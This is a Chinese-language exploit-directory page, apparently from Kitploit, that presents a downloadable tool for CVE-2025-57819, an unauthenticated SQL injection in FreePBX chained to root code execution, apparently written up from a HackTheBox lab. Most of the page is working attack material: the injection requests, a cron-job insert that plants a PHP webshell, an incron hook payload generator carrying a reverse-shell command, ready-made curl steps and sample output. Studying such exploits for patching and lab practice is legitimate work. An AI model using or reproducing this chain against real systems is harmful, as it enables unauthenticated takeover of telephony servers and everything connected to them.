Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
FreePBX-CVE-2025-57819 — FreePBX中未经认证的SQL注入到远程代码执行 — CVE-2025-57819 | Kitploit
工具/GitHubGitHub/yuvrajshad/freepbx-cve-2025-57819
权限提升漏洞分析漏洞利用Web应用程序漏洞利用渗透测试命令与控制红队Payload 开发
GitHubyuvrajshad/freepbx-cve-2025-57819

FreePBX-CVE-2025-57819

FreePBX中未经认证的SQL注入到远程代码执行 — CVE-2025-57819

查看仓库
1153个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

FreePBX CVE-2025-57819 — 未经认证的SQL注入到Root RCE

严重性: 严重
类型: 未经认证的SQL注入 → 远程代码执行
受影响软件: FreePBX (endpoint模块)
测试环境: CentOS 7上的FreePBX, Apache 2.4, PHP 7.4, MariaDB 5.5

概述

FreePBX的endpoint模块中通过/admin/ajax.php的brand参数存在一个未经认证的SQL注入漏洞。利用此漏洞无需任何凭据。

结合FreePBX内部的cron任务机制以及incron/fwconsole钩子系统,可导致完全未经认证的root shell。

攻击链

root@kitploit:~
[无需认证]
        │
        ▼
未经认证的SQL注入
(/admin/ajax.php → brand参数)
        │
        ├──► 提取数据库凭据、用户哈希
        │
        ├──► 插入cron_jobs
        │         │
        │         └──► 在Web根目录放置PHP webshell
        │                   │
        │                   └──► 以asterisk用户执行RCE(用户flag)
        │
        └──► 写入incron触发文件(以asterisk用户)
                  │
                  └──► sysadmin_manager以root身份执行
                            │
                            └──► fwconsole钩子 → Root Shell

使用方法

root@kitploit:~
pip install requests
python3 CVE-2025-57819.py <target> <lhost> <lport>

示例:

root@kitploit:~
python3 CVE-2025-57819.py connected.htb 10.10.xx.xx 9999

输出:

root@kitploit:~
[*] Verifying Unauthenticated SQLi...
[+] SQLi confirmed!
[+] Database : asterisk
[+] Version  : 5.5.65-MariaDB
[+] DB User  : freepbxuser@localhost
[*] Inserting Cron Job to Drop Webshell...
[+] Cron job inserted — waiting up to 90s for it to fire...
[+] Webshell active! → uid=999(asterisk) gid=1000(asterisk)
[+] User Flag → HTB{REDACTED}
[*] Triggering Root Shell → 10.10.xx.xx:9999
[+] Trigger file created — incron will fire it as root!

工作原理

阶段1 — SQL注入

在endpoint模块的AJAX处理器中,brand参数未经清理直接传入SQL查询:

root@kitploit:~
GET /admin/ajax.php?module=FreePBX\modules\endpoint\ajax
    &command=model&template=x&model=model
    &brand=x' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT DATABASE()),0x7e))-- -

这会在XPATH错误中返回数据库名称 —— 这是一种经典的基于错误的SQLi技术。还支持堆叠查询,允许执行INSERT、UPDATE和DELETE操作。

阶段2 — 通过Cron获取Webshell

利用堆叠查询,将cron任务插入FreePBX的cron_jobs表中:

root@kitploit:~
INSERT INTO cron_jobs 
  (modulename, jobname, command, class, schedule, max_runtime, enabled, execution_order)
VALUES 
  ('sysadmin', 'poc', 'echo PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+|base64 -d >/var/www/html/shell.php',
   NULL, '* * * * *', 30, 1, 1)

FreePBX的cron运行器每分钟执行此任务,在Web根目录下放置一个PHP webshell。

阶段3 — 通过Incron + fwconsole钩子获取Root

incrond监控/var/spool/asterisk/incron/目录(asterisk用户可写)。当在该目录下创建文件时,它会以root身份触发/usr/bin/sysadmin_manager。

文件名格式api.fwconsole-commands.<payload>对应一个预先存在的GPG签名钩子,位于:

root@kitploit:~
/var/www/html/admin/modules/api/hooks/fwconsole-commands

该钩子将文件名解码为base64(zlib(json([cmd, txn_id])))格式的payload,并执行:

root@kitploit:~
$cmd = "/usr/sbin/fwconsole $command 2>&1";

使用help;作为前缀可让fwconsole认为是一个有效命令,;则用于串联任意shell命令:

root@kitploit:~
help; bash -i >& /dev/tcp/LHOST/LPORT 0>&1

此命令以root身份执行,提供完整的root shell。

手动利用

步骤1 — 验证SQLi

root@kitploit:~
curl -ik "https://TARGET/admin/ajax.php?module=FreePBX%5Cmodules%5Cendpoint%5Cajax\
&command=model&template=x&model=model\
&brand=x'+AND+EXTRACTVALUE(1,CONCAT(0x7e,(SELECT+DATABASE()),0x7e))--+-"

步骤2 — 放置Webshell

root@kitploit:~
curl -ik "https://TARGET/admin/ajax.php?module=FreePBX%5Cmodules%5Cendpoint%5Cajax\
&command=model&template=x&model=model\
&brand=x';INSERT+INTO+cron_jobs(modulename,jobname,command,class,schedule,max_runtime,enabled,execution_order)\
+VALUES('sysadmin','poc','echo+PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+Cg==|base64+-d\
+>/var/www/html/shell.php',NULL,'*+*+*+*+*',30,1,1)--+-"

步骤3 — 生成Root Payload

root@kitploit:~
# 保存到文件以避免shell引号问题
cat > gen.py << 'EOF'
import base64, json, zlib
cmd = "help; bash -i >& /dev/tcp/LHOST/LPORT 0>&1"
payload = base64.b64encode(
    zlib.compress(json.dumps([cmd, "txn"]).encode())
).decode().replace("/", "_")
print(payload)
EOF
python3 gen.py

步骤4 — 触发Root Shell

root@kitploit:~
# 在目标上(通过webshell以asterisk用户执行)
touch "/var/spool/asterisk/incron/api.fwconsole-commands.<PAYLOAD>"

分析过程中的关键发现

披露时间线

日期事件
2025发现并报告漏洞
2025-11-30在HackTheBox上部署靶机
2025分配CVE-2025-57819

免责声明

此工具仅用于教育目的和授权的安全测试。请勿用于未经明确许可的系统。作者不对任何滥用行为负责。

参考

  • watchTowr Labs PoC
  • FreePBX安全公告
  • CVE-2025-57819详情
下载工具
发现详情
数据库asterisk (MariaDB 5.5.65)
数据库用户freepbxuser@localhost
Web用户asterisk (uid=999)
Cron表可通过SQLi写入
Incron目录/var/spool/asterisk/incron/ (asterisk用户可写)
权限提升fwconsole钩子通过incrond以root身份运行
Root方法Incron触发 → 签名fwconsole钩子 → 命令注入